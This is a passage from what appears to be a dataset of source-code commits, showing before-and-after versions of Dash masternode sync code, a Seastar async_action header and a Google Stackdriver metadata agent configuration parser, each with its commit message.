RequestedMasternodeAttempt <= 2){\n                    pnode->PushMessage(\"mnget\"); \/\/sync payees\n                    RequestedMasternodeAttempt++;\n                }\n                return;\n            }\n        }\n\n        if (pnode->nVersion >= MIN_BUDGET_PEER_PROTO_VERSION) {\n\n            if(RequestedMasternodeAssets == MASTERNODE_SYNC_BUDGET){\n                if(lastBudgetItem > 0 && lastBudgetItem < GetTime() - MASTERNODE_SYNC_TIMEOUT){ \/\/hasn't received a new item in the last five seconds, so we'll move to the\n                    GetNextAsset();\n                    return;\n                }\n\n                if(pnode->HasFulfilledRequest(\"busync\")) continue;\n                pnode->FulfilledRequest(\"busync\");\n\n                if((lastBudgetItem == 0 || lastBudgetItem > GetTime() - MASTERNODE_SYNC_TIMEOUT)\n                        && RequestedMasternodeAttempt <= 2){\n                    uint256 n = 0;\n\n                    pnode->PushMessage(\"mnvs\", n); \/\/sync masternode votes\n                    RequestedMasternodeAttempt++;\n                }\n                return;\n            }\n\n        }\n    }\n}\n<commit_msg>slightly refactor<commit_after>\/\/ Copyright (c) 2014-2015 The Dash developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"main.h\"\n#include \"masternode-sync.h\"\n#include \"masternode-payments.h\"\n#include \"masternode.h\"\n#include \"masternodeman.h\"\n#include \"util.h\"\n#include \"addrman.h\"\n\nclass CMasternodeSync;\nCMasternodeSync masternodeSync;\n\nCMasternodeSync::CMasternodeSync()\n{\n    lastMasternodeList = 0;\n    lastMasternodeWinner = 0;\n    lastBudgetItem = 0;\n    RequestedMasternodeAssets = MASTERNODE_SYNC_INITIAL;\n    RequestedMasternodeAttempt = 0;\n}\n\nbool CMasternodeSync::IsSynced()\n{\n    return (RequestedMasternodeAssets == MASTERNODE_SYNC_FINISHED);\n}\n\nvoid CMasternodeSync::AddedMasternodeList()\n{\n    lastMasternodeList = GetTime();\n}\n\nvoid CMasternodeSync::AddedMasternodeWinner()\n{\n    lastMasternodeWinner = GetTime();\n}\n\nvoid CMasternodeSync::AddedBudgetItem()\n{\n    lastBudgetItem = GetTime();\n}\n\nvoid CMasternodeSync::GetNextAsset()\n{\n    switch(RequestedMasternodeAssets)\n    {\n        case(MASTERNODE_SYNC_INITIAL):\n            lastMasternodeList = 0;\n            lastMasternodeWinner = 0;\n            lastBudgetItem = 0;\n            RequestedMasternodeAssets = MASTERNODE_SYNC_SPORKS;\n            break;\n        case(MASTERNODE_SYNC_SPORKS):\n            RequestedMasternodeAssets = MASTERNODE_SYNC_LIST;\n            break;\n        case(MASTERNODE_SYNC_LIST):\n            RequestedMasternodeAssets = MASTERNODE_SYNC_MNW;\n            break;\n        case(MASTERNODE_SYNC_MNW):\n            RequestedMasternodeAssets = MASTERNODE_SYNC_BUDGET;\n            break;\n        case(MASTERNODE_SYNC_BUDGET):\n            LogPrintf(\"CMasternodeSync::GetNextAsset - Sync has finished\\n\");\n            RequestedMasternodeAssets = MASTERNODE_SYNC_FINISHED;\n            break;\n    }\n    RequestedMasternodeAttempt = 0;\n}\n\nvoid CMasternodeSync::Process()\n{\n    static int tick = 0;\n\n    if(tick++ % MASTERNODE_SYNC_TIMEOUT != 0) return;\n\n    CBlockIndex* pindexPrev = chainActive.Tip();\n    if(pindexPrev == NULL) return;\n\n    if(IsSynced()) {\n        \/* \n            Resync if we lose all masternodes from sleep\/wake or failure to sync originally\n        *\/\n        if(mnodeman.CountEnabled() == 0) {\n            RequestedMasternodeAssets = MASTERNODE_SYNC_INITIAL;\n        } else\n            return;\n    }\n\n    if(fDebug) LogPrintf(\"CMasternodeSync::Process() - tick %d RequestedMasternodeAssets %d\\n\", tick, RequestedMasternodeAssets);\n\n    if(RequestedMasternodeAssets == MASTERNODE_SYNC_INITIAL) GetNextAsset();\n\n    LOCK(cs_vNodes);\n    BOOST_FOREACH(CNode* pnode, vNodes)\n    {\n\n        \/\/set to synced\n        if(Params().NetworkID() == CBaseChainParams::REGTEST && c >= 10) {\n            LogPrintf(\"CMasternodeSync::Process - Sync has finished\\n\");\n            RequestedMasternodeAssets = MASTERNODE_SYNC_FINISHED;\n            RequestedMasternodeAttempt = 0;\n        }\n\n        if(RequestedMasternodeAssets == MASTERNODE_SYNC_SPORKS){\n            if(pnode->HasFulfilledRequest(\"getspork\")) continue;\n            pnode->FulfilledRequest(\"getspork\");\n\n            if(RequestedMasternodeAttempt <= 2){\n                pnode->PushMessage(\"getsporks\"); \/\/get current network sporks\n                if(RequestedMasternodeAttempt == 2) GetNextAsset();\n                RequestedMasternodeAttempt++;\n            }\n            return;\n        }\n\n        \/\/don't begin syncing until we're almost at a recent block\n        if(pindexPrev->nHeight + 4 < pindexBestHeader->nHeight || pindexPrev->nTime + 600 < GetTime()) return;\n\n        if (pnode->nVersion >= nMasternodeMinProtocol) {\n\n            if(RequestedMasternodeAssets == MASTERNODE_SYNC_LIST) {\n                if(fDebug) LogPrintf(\"CMasternodeSync::Process() - lastMasternodeList %lld (GetTime() - MASTERNODE_SYNC_TIMEOUT) %lld\\n\", lastMasternodeList, GetTime() - MASTERNODE_SYNC_TIMEOUT);\n                if(lastMasternodeList > 0 && lastMasternodeList < GetTime() - MASTERNODE_SYNC_TIMEOUT){ \/\/hasn't received a new item in the last five seconds, so we'll move to the\n                    GetNextAsset();\n                    return;\n                }\n\n                if(pnode->HasFulfilledRequest(\"mnsync\")) continue;\n                pnode->FulfilledRequest(\"mnsync\");\n\n                if((lastMasternodeList == 0 || lastMasternodeList > GetTime() - MASTERNODE_SYNC_TIMEOUT)\n                        && RequestedMasternodeAttempt <= 2){\n                    mnodeman.DsegUpdate(pnode);\n                    RequestedMasternodeAttempt++;\n                }\n                return;\n            }\n        }\n\n        if (pnode->nVersion >= masternodePayments.GetMinMasternodePaymentsProto()) {\n            if(RequestedMasternodeAssets == MASTERNODE_SYNC_MNW) {\n                if(lastMasternodeWinner > 0 && lastMasternodeWinner < GetTime() - MASTERNODE_SYNC_TIMEOUT){ \/\/hasn't received a new item in the last five seconds, so we'll move to the\n                    GetNextAsset();\n                    return;\n                }\n\n                if(pnode->HasFulfilledRequest(\"mnwsync\")) continue;\n                pnode->FulfilledRequest(\"mnwsync\");\n\n                if((lastMasternodeWinner == 0 || lastMasternodeWinner > GetTime() - MASTERNODE_SYNC_TIMEOUT)\n                        && RequestedMasternodeAttempt <= 2){\n                    pnode->PushMessage(\"mnget\"); \/\/sync payees\n                    RequestedMasternodeAttempt++;\n                }\n                return;\n            }\n        }\n\n        if (pnode->nVersion >= MIN_BUDGET_PEER_PROTO_VERSION) {\n\n            if(RequestedMasternodeAssets == MASTERNODE_SYNC_BUDGET){\n                if(lastBudgetItem > 0 && lastBudgetItem < GetTime() - MASTERNODE_SYNC_TIMEOUT){ \/\/hasn't received a new item in the last five seconds, so we'll move to the\n                    GetNextAsset();\n                    return;\n                }\n\n                if(pnode->HasFulfilledRequest(\"busync\")) continue;\n                pnode->FulfilledRequest(\"busync\");\n\n                if((lastBudgetItem == 0 || lastBudgetItem > GetTime() - MASTERNODE_SYNC_TIMEOUT)\n                        && RequestedMasternodeAttempt <= 2){\n                    uint256 n = 0;\n\n                    pnode->PushMessage(\"mnvs\", n); \/\/sync masternode votes\n                    RequestedMasternodeAttempt++;\n                }\n                return;\n            }\n\n        }\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2014 Cloudius Systems, Ltd.\n *\/\n\n#ifndef ASYNC_ACTION_HH_\n#define ASYNC_ACTION_HH_\n\n#include \"future.hh\"\n#include \"reactor.hh\"\n\n\/\/ The AsyncAction concept represents an action which can complete later than\n\/\/ the actual function invocation. It is represented by a function which\n\/\/ returns a future which resolves when the action is done.\n\ntemplate<typename AsyncAction, typename StopCondition>\nstatic inline\nvoid do_until_continued(StopCondition&& stop_cond, AsyncAction&& action, promise<> p) {\n    while (!stop_cond()) {\n        auto&& f = action();\n        if (!f.available()) {\n            f.then([action = std::forward<AsyncAction>(action),\n                    stop_cond = std::forward<StopCondition>(stop_cond), p = std::move(p)]() mutable {\n                do_until_continued(stop_cond, action, std::move(p));\n            });\n            return;\n        }\n\n        if (f.failed()) {\n            f.forward_to(std::move(p));\n            return;\n        }\n    }\n\n    p.set_value();\n}\n\n\/\/ Invokes given action until it fails or given condition evaluates to true.\ntemplate<typename AsyncAction, typename StopCondition>\nstatic inline\nfuture<> do_until(StopCondition&& stop_cond, AsyncAction&& action) {\n    promise<> p;\n    auto f = p.get_future();\n    do_until_continued(std::forward<StopCondition>(stop_cond),\n        std::forward<AsyncAction>(action), std::move(p));\n    return f;\n}\n\n\/\/ Invoke given action undefinitely. Next invocation starts when previous completes or fails.\ntemplate<typename AsyncAction>\nstatic inline\nvoid keep_doing(AsyncAction&& action) {\n    while (true) {\n        auto f = action();\n        if (!f.available()) {\n            f.then([action = std::forward<AsyncAction>(action)] () mutable {\n                 keep_doing(std::forward<AsyncAction>(action));\n            });\n            return;\n        }\n    }\n}\n\ntemplate<typename Iterator, typename AsyncAction>\nstatic inline\nfuture<> do_for_each(Iterator begin, Iterator end, AsyncAction&& action) {\n    while (begin != end) {\n        auto f = action(*begin++);\n        if (!f.available()) {\n            return f.then([action = std::forward<AsyncAction>(action),\n                    begin = std::move(begin), end = std::move(end)] () mutable {\n                return do_for_each(std::move(begin), std::move(end), std::forward<AsyncAction>(action));\n            });\n        }\n    }\n    return make_ready_future<>();\n}\n\n#endif\n<commit_msg>core: make keep_doing() propagate failure<commit_after>\/*\n * Copyright (C) 2014 Cloudius Systems, Ltd.\n *\/\n\n#ifndef ASYNC_ACTION_HH_\n#define ASYNC_ACTION_HH_\n\n#include \"future.hh\"\n#include \"reactor.hh\"\n\n\/\/ The AsyncAction concept represents an action which can complete later than\n\/\/ the actual function invocation. It is represented by a function which\n\/\/ returns a future which resolves when the action is done.\n\ntemplate<typename AsyncAction, typename StopCondition>\nstatic inline\nvoid do_until_continued(StopCondition&& stop_cond, AsyncAction&& action, promise<> p) {\n    while (!stop_cond()) {\n        auto&& f = action();\n        if (!f.available()) {\n            f.then([action = std::forward<AsyncAction>(action),\n                    stop_cond = std::forward<StopCondition>(stop_cond), p = std::move(p)]() mutable {\n                do_until_continued(stop_cond, action, std::move(p));\n            });\n            return;\n        }\n\n        if (f.failed()) {\n            f.forward_to(std::move(p));\n            return;\n        }\n    }\n\n    p.set_value();\n}\n\n\/\/ Invokes given action until it fails or given condition evaluates to true.\ntemplate<typename AsyncAction, typename StopCondition>\nstatic inline\nfuture<> do_until(StopCondition&& stop_cond, AsyncAction&& action) {\n    promise<> p;\n    auto f = p.get_future();\n    do_until_continued(std::forward<StopCondition>(stop_cond),\n        std::forward<AsyncAction>(action), std::move(p));\n    return f;\n}\n\n\/\/ Invoke given action until it fails.\ntemplate<typename AsyncAction>\nstatic inline\nfuture<> keep_doing(AsyncAction&& action) {\n    while (true) {\n        auto f = action();\n        if (!f.available()) {\n            return f.then([action = std::forward<AsyncAction>(action)] () mutable {\n                 return keep_doing(std::forward<AsyncAction>(action));\n            });\n        }\n\n        if (f.failed()) {\n            return std::move(f);\n        }\n    }\n}\n\ntemplate<typename Iterator, typename AsyncAction>\nstatic inline\nfuture<> do_for_each(Iterator begin, Iterator end, AsyncAction&& action) {\n    while (begin != end) {\n        auto f = action(*begin++);\n        if (!f.available()) {\n            return f.then([action = std::forward<AsyncAction>(action),\n                    begin = std::move(begin), end = std::move(end)] () mutable {\n                return do_for_each(std::move(begin), std::move(end), std::forward<AsyncAction>(action));\n            });\n        }\n    }\n    return make_ready_future<>();\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2017 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n **\/\n\n#include \"configuration.h\"\n\n#include <boost\/program_options.hpp>\n#include <fstream>\n#include <iostream>\n#include <map>\n#include <sstream>\n\n#include <yaml-cpp\/yaml.h>\n\n#ifndef AGENT_VERSION\n#define AGENT_VERSION 0.0\n#endif\n\n\/\/ https:\/\/gcc.gnu.org\/onlinedocs\/gcc-7.3.0\/cpp\/Stringizing.html\n#define STRINGIFY_H(x) #x\n#define STRINGIFY(x) STRINGIFY_H(x)\n\nnamespace google {\n\nnamespace {\nconstexpr const char kConfigFileFlag[] = \"config-file\";\n\nconstexpr const char kDefaultProjectId[] = \"\";\nconstexpr const char kDefaultCredentialsFile[] = \"\";\nconstexpr const int kMetadataApiDefaultNumThreads = 3;\nconstexpr const int kMetadataApiDefaultPort = 8000;\nconstexpr const char kMetadataApiDefaultResourceTypeSeparator[] = \".\";\nconstexpr const int kMetadataReporterDefaultIntervalSeconds = 60;\nconstexpr const int kMetadataReporterDefaultPurgeDeleted = false;\nconstexpr const char kMetadataReporterDefaultUserAgent[] =\n    \"metadata-agent\/\" STRINGIFY(AGENT_VERSION);\nconstexpr const char kMetadataIngestionDefaultEndpointFormat[] =\n    \"https:\/\/stackdriver.googleapis.com\/v1beta2\/projects\/{{project_id}}\"\n    \"\/resourceMetadata:batchUpdate\";\nconstexpr const int kMetadataIngestionDefaultRequestSizeLimitBytes =\n    8*1024*1024;\nconstexpr const int kMetadataIngestionDefaultRequestSizeLimitCount = 1000;\nconstexpr const char kMetadataIngestionDefaultRawContentVersion[] = \"0.1\";\nconstexpr const int kInstanceUpdaterDefaultIntervalSeconds = 60*60;\nconstexpr const char kDefaultInstanceResourceType[] =\n    \"\";  \/\/ A blank value means \"unspecified; detect via environment\".\nconstexpr const int kDockerUpdaterDefaultIntervalSeconds = 0;\nconstexpr const char kDockerDefaultEndpointHost[] =\n    \"unix:\/\/%2Fvar%2Frun%2Fdocker.sock\/\";\nconstexpr const char kDockerDefaultApiVersion[] = \"1.23\";\nconstexpr const char kDockerDefaultContainerFilter[] = \"limit=30\";\nconstexpr const int kKubernetesUpdaterDefaultIntervalSeconds = 0;\nconstexpr const char kKubernetesDefaultEndpointHost[] =\n    \"https:\/\/kubernetes.default.svc\";\nconstexpr const char kKubernetesDefaultPodLabelSelector[] = \"\";\nconstexpr const char kKubernetesDefaultClusterName[] = \"\";\nconstexpr const char kKubernetesDefaultClusterLocation[] = \"\";\nconstexpr const char kKubernetesDefaultNodeName[] = \"\";\nconstexpr const bool kKubernetesDefaultUseWatch = false;\nconstexpr const bool kKubernetesDefaultClusterLevelMetadata = false;\nconstexpr const bool kKubernetesDefaultServiceMetadata = true;\nconstexpr const char kDefaultInstanceId[] = \"\";\nconstexpr const char kDefaultInstanceZone[] = \"\";\nconstexpr const char kDefaultHealthCheckFile[] =\n    \"\/var\/run\/metadata-agent\/health\/unhealthy\";\n\n}\n\nConfiguration::Configuration()\n    : project_id_(kDefaultProjectId),\n      credentials_file_(kDefaultCredentialsFile),\n      verbose_logging_(false),\n      metadata_api_num_threads_(kMetadataApiDefaultNumThreads),\n      metadata_api_port_(kMetadataApiDefaultPort),\n      metadata_api_resource_type_separator_(\n          kMetadataApiDefaultResourceTypeSeparator),\n      metadata_reporter_interval_seconds_(\n          kMetadataReporterDefaultIntervalSeconds),\n      metadata_reporter_purge_deleted_(\n          kMetadataReporterDefaultPurgeDeleted),\n      metadata_reporter_user_agent_(\n          kMetadataReporterDefaultUserAgent),\n      metadata_ingestion_endpoint_format_(\n          kMetadataIngestionDefaultEndpointFormat),\n      metadata_ingestion_request_size_limit_bytes_(\n          kMetadataIngestionDefaultRequestSizeLimitBytes),\n      metadata_ingestion_request_size_limit_count_(\n          kMetadataIngestionDefaultRequestSizeLimitCount),\n      metadata_ingestion_raw_content_version_(\n          kMetadataIngestionDefaultRawContentVersion),\n      instance_updater_interval_seconds_(\n          kInstanceUpdaterDefaultIntervalSeconds),\n      instance_resource_type_(kDefaultInstanceResourceType),\n      docker_updater_interval_seconds_(kDockerUpdaterDefaultIntervalSeconds),\n      docker_endpoint_host_(kDockerDefaultEndpointHost),\n      docker_api_version_(kDockerDefaultApiVersion),\n      docker_container_filter_(kDockerDefaultContainerFilter),\n      kubernetes_updater_interval_seconds_(\n          kKubernetesUpdaterDefaultIntervalSeconds),\n      kubernetes_endpoint_host_(kKubernetesDefaultEndpointHost),\n      kubernetes_pod_label_selector_(kKubernetesDefaultPodLabelSelector),\n      kubernetes_cluster_name_(kKubernetesDefaultClusterName),\n      kubernetes_cluster_location_(kKubernetesDefaultClusterLocation),\n      kubernetes_node_name_(kKubernetesDefaultNodeName),\n      kubernetes_use_watch_(kKubernetesDefaultUseWatch),\n      kubernetes_cluster_level_metadata_(\n          kKubernetesDefaultClusterLevelMetadata),\n      kubernetes_service_metadata_(kKubernetesDefaultServiceMetadata),\n      instance_id_(kDefaultInstanceId),\n      instance_zone_(kDefaultInstanceZone),\n      health_check_file_(kDefaultHealthCheckFile) {}\n\nConfiguration::Configuration(std::istream& input) : Configuration() {\n  ParseConfiguration(input);\n}\n\nint Configuration::ParseArguments(int ac, char** av) {\n  std::string config_file;\n  boost::program_options::options_description flags_desc;\n  flags_desc.add_options()\n      (\"help,h\", \"Print help message\")\n      (\"version,V\", \"Print the agent version\")\n      (\"verbose,v\", boost::program_options::bool_switch(&verbose_logging_),\n           \"Enable verbose logging\")\n      (\"option,o\",\n            boost::program_options::value<std::vector<std::string>>()\n                ->composing(),\n            \"Explicit configuration option, e.g. \"\n            \"-o CredentialsFile=\/tmp\/token.json \"\n            \"(can be specified multiple times)\")\n      ;\n  boost::program_options::options_description hidden_desc;\n  hidden_desc.add_options()\n      (kConfigFileFlag,\n           boost::program_options::value<std::string>(&config_file)\n               ->default_value(\"\"),\n           \"Configuration file location\")\n      ;\n  boost::program_options::options_description all_desc;\n  all_desc.add(flags_desc).add(hidden_desc);\n  boost::program_options::positional_options_description positional_desc;\n  positional_desc.add(kConfigFileFlag, 1);\n  boost::program_options::variables_map flags;\n  try {\n    boost::program_options::store(\n        boost::program_options::command_line_parser(ac, av)\n        .options(all_desc).positional(positional_desc).run(), flags);\n    boost::program_options::notify(flags);\n\n    if (flags.count(\"help\")) {\n      std::cout << flags_desc << std::endl;\n      return -1;\n    }\n    if (flags.count(\"version\")) {\n      std::cout << \"Stackdriver Metadata Agent v\" << STRINGIFY(AGENT_VERSION)\n                << std::endl;\n      return -1;\n    }\n    ParseConfigFile(config_file);\n\n    \/\/ Command line options override the options provided in the config file.\n    if (flags.count(\"option\")) {\n      std::stringstream option_stream;\n      const std::vector<std::string> options =\n          flags[\"option\"].as<std::vector<std::string>>();\n      for (const std::string& option : options) {\n        std::size_t separator_pos = option.find(\"=\");\n        if (separator_pos == std::string::npos) {\n          std::cerr << \"Invalid option \" << option;\n          return 1;\n        }\n        const std::string key = option.substr(0, separator_pos);\n        const std::string value =\n            option.substr(separator_pos + 1, std::string::npos);\n        option_stream << key << \": \" << value << \"\\n\";\n      }\n\n#ifdef VERBOSE\n      LOG(DEBUG) << \"Options:\\n\" << option_stream.str();\n#endif\n      ParseConfiguration(option_stream);\n    }\n\n    return 0;\n  } catch (const boost::program_options::error& arg_error) {\n    std::cerr << arg_error.what() << std::endl;\n    std::cerr << flags_desc << std::endl;\n    return 1;\n  }\n}\n\nvoid Configuration::ParseConfigFile(const std::string& filename) {\n  if (filename.empty()) return;\n\n  std::ifstream input(filename);\n  ParseConfiguration(input);\n}\n\nvoid Configuration::ParseConfiguration(std::istream& input) {\n  YAML::Node config = YAML::Load(input);\n  std::lock_guard<std::mutex> lock(mutex_);\n  project_id_ =\n      config[\"ProjectId\"].as<std::string>(project_id_);\n  credentials_file_ =\n      config[\"CredentialsFile\"].as<std::string>(credentials_file_);\n  metadata_api_num_threads_ =\n      config[\"MetadataApiNumThreads\"].as<int>(metadata_api_num_threads_);\n  metadata_api_port_ =\n      config[\"MetadataApiPort\"].as<int>(metadata_api_port_);\n  metadata_api_resource_type_separator_ =\n      config[\"MetadataApiResourceTypeSeparator\"].as<std::string>(\n          metadata_api_resource_type_separator_);\n  metadata_reporter_interval_seconds_ =\n      config[\"MetadataReporterIntervalSeconds\"].as<int>(\n          metadata_reporter_interval_seconds_);\n  metadata_reporter_purge_deleted_ =\n      config[\"MetadataReporterPurgeDeleted\"].as<bool>(\n          metadata_reporter_purge_deleted_);\n  metadata_reporter_user_agent_ =\n      config[\"MetadataReporterUserAgent\"].as<std::string>(\n          metadata_reporter_user_agent_);\n  metadata_ingestion_endpoint_format_ =\n      config[\"MetadataIngestionEndpointFormat\"].as<std::string>(\n          metadata_ingestion_endpoint_format_);\n  metadata_ingestion_request_size_limit_bytes_ =\n      config[\"MetadataIngestionRequestSizeLimitBytes\"].as<int>(\n          metadata_ingestion_request_size_limit_bytes_);\n  metadata_ingestion_request_size_limit_count_ =\n      config[\"MetadataIngestionRequestSizeLimitCount\"].as<int>(\n          metadata_ingestion_request_size_limit_count_);\n  metadata_ingestion_raw_content_version_ =\n      config[\"MetadataIngestionRawContentVersion\"].as<std::string>(\n          metadata_ingestion_raw_content_version_);\n  instance_updater_interval_seconds_ =\n      config[\"InstanceUpdaterIntervalSeconds\"].as<int>(\n          instance_updater_interval_seconds_);\n  instance_resource_type_ =\n      config[\"InstanceResourceType\"].as<std::string>(instance_resource_type_);\n  docker_updater_interval_seconds_ =\n      config[\"DockerUpdaterIntervalSeconds\"].as<int>(\n          docker_updater_interval_seconds_);\n  docker_endpoint_host_ =\n      config[\"DockerEndpointHost\"].as<std::string>(docker_endpoint_host_);\n  docker_api_version_ =\n      config[\"DockerApiVersion\"].as<std::string>(docker_api_version_);\n  docker_container_filter_ =\n      config[\"DockerContainerFilter\"].as<std::string>(\n          docker_container_filter_);\n  kubernetes_updater_interval_seconds_ =\n      config[\"KubernetesUpdaterIntervalSeconds\"].as<int>(\n          kubernetes_updater_interval_seconds_);\n  kubernetes_endpoint_host_ =\n      config[\"KubernetesEndpointHost\"].as<std::string>(\n          kubernetes_endpoint_host_);\n  kubernetes_pod_label_selector_ =\n      config[\"KubernetesPodLabelSelector\"].as<std::string>(\n          kubernetes_pod_label_selector_);\n  kubernetes_cluster_name_ =\n      config[\"KubernetesClusterName\"].as<std::string>(\n          kubernetes_cluster_name_);\n  kubernetes_cluster_location_ =\n      config[\"KubernetesClusterLocation\"].as<std::string>(\n          kubernetes_cluster_location_);\n  kubernetes_node_name_ =\n      config[\"KubernetesNodeName\"].as<std::string>(kubernetes_node_name_);\n  kubernetes_use_watch_ =\n      config[\"KubernetesUseWatch\"].as<bool>(kubernetes_use_watch_);\n  kubernetes_cluster_level_metadata_ =\n      config[\"KubernetesClusterLevelMetadata\"].as<bool>(\n          kubernetes_cluster_level_metadata_);\n  kubernetes_service_metadata_ =\n      config[\"KubernetesServiceMetadata\"].as<bool>(\n          kubernetes_service_metadata_);\n  instance_id_ =\n      config[\"InstanceId\"].as<std::string>(instance_id_);\n  instance_zone_ =\n      config[\"InstanceZone\"].as<std::string>(instance_zone_);\n  health_check_file_ =\n      config[\"HealthCheckFile\"].as<std::string>(health_check_file_);\n}\n\n}  \/\/ google\n\n#undef STRINGIFY\n#undef STRINGIFY_H\n<commit_msg>In configuration.cc, change LOG(DEBUG) to std::cout. (#144)<commit_after>\/*\n * Copyright 2017 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n **\/\n\n#include \"configuration.h\"\n\n#include <boost\/program_options.hpp>\n#include <fstream>\n#include <iostream>\n#include <map>\n#include <sstream>\n\n#include <yaml-cpp\/yaml.h>\n\n#ifndef AGENT_VERSION\n#define AGENT_VERSION 0.0\n#endif\n\n\/\/ https:\/\/gcc.gnu.org\/onlinedocs\/gcc-7.3.0\/cpp\/Stringizing.html\n#define STRINGIFY_H(x) #x\n#define STRINGIFY(x) STRINGIFY_H(x)\n\nnamespace google {\n\nnamespace {\nconstexpr const char kConfigFileFlag[] = \"config-file\";\n\nconstexpr const char kDefaultProjectId[] = \"\";\nconstexpr const char kDefaultCredentialsFile[] = \"\";\nconstexpr const int kMetadataApiDefaultNumThreads = 3;\nconstexpr const int kMetadataApiDefaultPort = 8000;\nconstexpr const char kMetadataApiDefaultResourceTypeSeparator[] = \".\";\nconstexpr const int kMetadataReporterDefaultIntervalSeconds = 60;\nconstexpr const int kMetadataReporterDefaultPurgeDeleted = false;\nconstexpr const char kMetadataReporterDefaultUserAgent[] =\n    \"metadata-agent\/\" STRINGIFY(AGENT_VERSION);\nconstexpr const char kMetadataIngestionDefaultEndpointFormat[] =\n    \"https:\/\/stackdriver.googleapis.com\/v1beta2\/projects\/{{project_id}}\"\n    \"\/resourceMetadata:batchUpdate\";\nconstexpr const int kMetadataIngestionDefaultRequestSizeLimitBytes =\n    8*1024*1024;\nconstexpr const int kMetadataIngestionDefaultRequestSizeLimitCount = 1000;\nconstexpr const char kMetadataIngestionDefaultRawContentVersion[] = \"0.1\";\nconstexpr const int kInstanceUpdaterDefaultIntervalSeconds = 60*60;\nconstexpr const char kDefaultInstanceResourceType[] =\n    \"\";  \/\/ A blank value means \"unspecified; detect via environment\".\nconstexpr const int kDockerUpdaterDefaultIntervalSeconds = 0;\nconstexpr const char kDockerDefaultEndpointHost[] =\n    \"unix:\/\/%2Fvar%2Frun%2Fdocker.sock\/\";\nconstexpr const char kDockerDefaultApiVersion[] = \"1.23\";\nconstexpr const char kDockerDefaultContainerFilter[] = \"limit=30\";\nconstexpr const int kKubernetesUpdaterDefaultIntervalSeconds = 0;\nconstexpr const char kKubernetesDefaultEndpointHost[] =\n    \"https:\/\/kubernetes.default.svc\";\nconstexpr const char kKubernetesDefaultPodLabelSelector[] = \"\";\nconstexpr const char kKubernetesDefaultClusterName[] = \"\";\nconstexpr const char kKubernetesDefaultClusterLocation[] = \"\";\nconstexpr const char kKubernetesDefaultNodeName[] = \"\";\nconstexpr const bool kKubernetesDefaultUseWatch = false;\nconstexpr const bool kKubernetesDefaultClusterLevelMetadata = false;\nconstexpr const bool kKubernetesDefaultServiceMetadata = true;\nconstexpr const char kDefaultInstanceId[] = \"\";\nconstexpr const char kDefaultInstanceZone[] = \"\";\nconstexpr const char kDefaultHealthCheckFile[] =\n    \"\/var\/run\/metadata-agent\/health\/unhealthy\";\n\n}\n\nConfiguration::Configuration()\n    : project_id_(kDefaultProjectId),\n      credentials_file_(kDefaultCredentialsFile),\n      verbose_logging_(false),\n      metadata_api_num_threads_(kMetadataApiDefaultNumThreads),\n      metadata_api_port_(kMetadataApiDefaultPort),\n      metadata_api_resource_type_separator_(\n          kMetadataApiDefaultResourceTypeSeparator),\n      metadata_reporter_interval_seconds_(\n          kMetadataReporterDefaultIntervalSeconds),\n      metadata_reporter_purge_deleted_(\n          kMetadataReporterDefaultPurgeDeleted),\n      metadata_reporter_user_agent_(\n          kMetadataReporterDefaultUserAgent),\n      metadata_ingestion_endpoint_format_(\n          kMetadataIngestionDefaultEndpointFormat),\n      metadata_ingestion_request_size_limit_bytes_(\n          kMetadataIngestionDefaultRequestSizeLimitBytes),\n      metadata_ingestion_request_size_limit_count_(\n          kMetadataIngestionDefaultRequestSizeLimitCount),\n      metadata_ingestion_raw_content_version_(\n          kMetadataIngestionDefaultRawContentVersion),\n      instance_updater_interval_seconds_(\n          kInstanceUpdaterDefaultIntervalSeconds),\n      instance_resource_type_(kDefaultInstanceResourceType),\n      docker_updater_interval_seconds_(kDockerUpdaterDefaultIntervalSeconds),\n      docker_endpoint_host_(kDockerDefaultEndpointHost),\n      docker_api_version_(kDockerDefaultApiVersion),\n      docker_container_filter_(kDockerDefaultContainerFilter),\n      kubernetes_updater_interval_seconds_(\n          kKubernetesUpdaterDefaultIntervalSeconds),\n      kubernetes_endpoint_host_(kKubernetesDefaultEndpointHost),\n      kubernetes_pod_label_selector_(kKubernetesDefaultPodLabelSelector),\n      kubernetes_cluster_name_(kKubernetesDefaultClusterName),\n      kubernetes_cluster_location_(kKubernetesDefaultClusterLocation),\n      kubernetes_node_name_(kKubernetesDefaultNodeName),\n      kubernetes_use_watch_(kKubernetesDefaultUseWatch),\n      kubernetes_cluster_level_metadata_(\n          kKubernetesDefaultClusterLevelMetadata),\n      kubernetes_service_metadata_(kKubernetesDefaultServiceMetadata),\n      instance_id_(kDefaultInstanceId),\n      instance_zone_(kDefaultInstanceZone),\n      health_check_file_(kDefaultHealthCheckFile) {}\n\nConfiguration::Configuration(std::istream& input) : Configuration() {\n  ParseConfiguration(input);\n}\n\nint Configuration::ParseArguments(int ac, char** av) {\n  std::string config_file;\n  boost::program_options::options_description flags_desc;\n  flags_desc.add_options()\n      (\"help,h\", \"Print help message\")\n      (\"version,V\", \"Print the agent version\")\n      (\"verbose,v\", boost::program_options::bool_switch(&verbose_logging_),\n           \"Enable verbose logging\")\n      (\"option,o\",\n            boost::program_options::value<std::vector<std::string>>()\n                ->composing(),\n            \"Explicit configuration option, e.g. \"\n            \"-o CredentialsFile=\/tmp\/token.json \"\n            \"(can be specified multiple times)\")\n      ;\n  boost::program_options::options_description hidden_desc;\n  hidden_desc.add_options()\n      (kConfigFileFlag,\n           boost::program_options::value<std::string>(&config_file)\n               ->default_value(\"\"),\n           